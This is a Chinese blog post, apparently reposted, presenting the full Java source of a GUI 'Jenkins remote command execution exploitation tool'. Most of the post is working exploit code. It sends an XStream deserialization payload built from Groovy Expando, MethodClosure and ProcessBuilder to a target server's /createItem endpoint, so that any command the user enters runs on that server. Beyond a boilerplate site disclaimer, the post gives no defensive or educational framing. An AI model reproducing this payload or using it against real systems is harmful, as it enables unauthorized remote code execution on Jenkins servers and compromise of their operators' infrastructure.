jenkins遠程命令執行利用工具


昨天看小飛俠寫的py的jenkins的腳本,昨天晚上在微信里評論今天寫一個JAVA的GUI的tools.

早上花了點時間寫一下:

code:

package com.tools;

	import java.io.BufferedReader;
	import java.io.IOException;
	import java.io.InputStreamReader;
	import java.io.PrintWriter;
	import java.net.URL;
	import java.net.URLConnection;
	import java.util.List;
import java.util.Map;

import javax.swing.JOptionPane;

	public class HttpRequest {
	    /**
	     * 向指定 URL 發送POST方法的請求
	     * 
	     * @param url
	     *            發送請求的 URL
	     * @param param
	     *            請求參數,請求參數應該是 name1=value1&name2=value2 的形式。
	     * @return 所代表遠程資源的響應結果
	     */
	    public static String sendPost(String url, String param) {
	        PrintWriter out = null;
	        BufferedReader in = null;
	        String result = "";
	        try {
	            URL realUrl = new URL(url);
	            // 打開和URL之間的連接
	            URLConnection conn = realUrl.openConnection();
	            // 設置通用的請求屬性
	            conn.setRequestProperty("accept", " text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
	            conn.setRequestProperty("connection", "Keep-Alive");
	            conn.setRequestProperty("user-agent",
	                    " Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
	            conn.setRequestProperty("Content-Type", "application/xml");
	            conn.setRequestProperty("Cookie", "");
	            // 發送POST請求必須設置如下兩行
	            conn.setDoOutput(true);
	            conn.setDoInput(true);
	            // 獲取URLConnection對象對應的輸出流
	            out = new PrintWriter(conn.getOutputStream());
	            // 發送請求參數
	            out.print(param);
	            // flush輸出流的緩沖
	            out.flush();
	            // 定義BufferedReader輸入流來讀取URL的響應
	            in = new BufferedReader(
	                    new InputStreamReader(conn.getInputStream()));
	            String line;
	            while ((line = in.readLine()) != null) {
	                result += line;
	            }
	        } catch (Exception e) {
	        	JOptionPane.showMessageDialog(null, "POST異常!"+e);
//	            System.out.println("發送 POST 請求出現異常!"+e);
	            e.printStackTrace();
	        }
	        //使用finally塊來關閉輸出流、輸入流
	        finally{
	            try{
	                if(out!=null){
	                    out.close();
	                }
	                if(in!=null){
	                    in.close();
	                }
	            }
	            catch(IOException ex){
	                ex.printStackTrace();
	            }
	        }
	        return result;
	    }    
	}

  

package com.tools;

import java.awt.Component;
import java.awt.Container;
import java.awt.Dimension;
import java.awt.FlowLayout;
import java.awt.Label;
import java.awt.LayoutManager;
import java.awt.event.ActionEvent;
import java.awt.event.ActionListener;
import java.io.IOException;
import java.net.CookieHandler;

import javax.swing.JButton;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import javax.swing.JPanel;
import javax.swing.JTextArea;
import javax.swing.JTextField;
import javax.xml.soap.Text;

//jenkins

public class SQL extends JFrame {
	private Label inputLabel;
	private JTextField text;
	private JButton button;
	private JTextField command;
	private JTextField cmdcontent;
	private JTextField cookie;
	private JPanel jp;
	private JTextArea area;

	public void init() {
		Container cp = this.getContentPane();
		inputLabel = new Label("please input url:");
		cp.add(inputLabel);
		text = new JTextField("http://www.sufont.com/", 20);
		cp.add(text);
		button = new JButton("OK");
		cp.add(button);
		command = new JTextField("輸入要執行的命令,例如:touch", 25);
		cmdcontent = new JTextField("執行命令的內容,例如:/tmp/qingteng-test-1", 25);
		cookie=new JTextField("cookie", 25);
		
		area=new JTextArea(20, 25);
		
		cp.add(cookie);
		cp.add(command);
		cp.add(cmdcontent);
		cp.add(area);
		area.setText("");

		this.setSize(450, 280);
		this.setVisible(true);
		this.setTitle("Jenkins遠程命令利用工具-By:sevck");
		this.setLayout(new FlowLayout(2, 2, 2));
		this.setDefaultCloseOperation(3);
		this.setLocationRelativeTo(null);
		this.setResizable(false);
	}

	public SQL() {
		init();
		button.addActionListener(new ActionListener() {

			@Override
			public void actionPerformed(ActionEvent e) {
				// TODO Auto-generated method stub
				String url = text.getText();// get url content
				if (url.contains("http://")) {

					if (url.equalsIgnoreCase("http://")) {
						JOptionPane.showMessageDialog(null, "url is null");
					} else {
						HttpRequest con = new HttpRequest();
						String content = con.sendPost(url+ "/createItem?name=qt-sec", "<map><entry><groovy.util.Expando><expandoProperties> <entry><string>hashCode</string><org.codehaus.groovy.runtime.MethodClosure><delegate class='groovy.util.Expando' reference='../../../..'/><owner class='java.lang.ProcessBuilder'><command><string>"+command.getText()+"</string><string>"+cmdcontent.getText()+"</string></command><redirectErrorStream>false</redirectErrorStream></owner><resolveStrategy>0</resolveStrategy><directive>0</directive><parameterTypes/><maximumNumberOfParameters>0</maximumNumberOfParameters><method>start</method></org.codehaus.groovy.runtime.MethodClosure></entry></expandoProperties></groovy.util.Expando><int>1</int></entry></map>");
						JOptionPane.showMessageDialog(null, "命令執行完畢2!");
						System.out.println(content);
						area.setText("result:\r\n"+content);
						// try {
						//
						// Runtime.getRuntime().exec("rundll32 url.dll,FileProtocolHandler "+url);
						// } catch (IOException e1) {
						// // TODO Auto-generated catch blocks
						// e1.printStackTrace();
						// }
					}
				} else {
					JOptionPane.showMessageDialog(null, "加http://");
				}

			}
		});
	}

	public static void main(String[] args) {
		// TODO Auto-generated method stub
		new SQL();

	}

}

  界面寫的比較簡陋,能用就可以 ;)

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM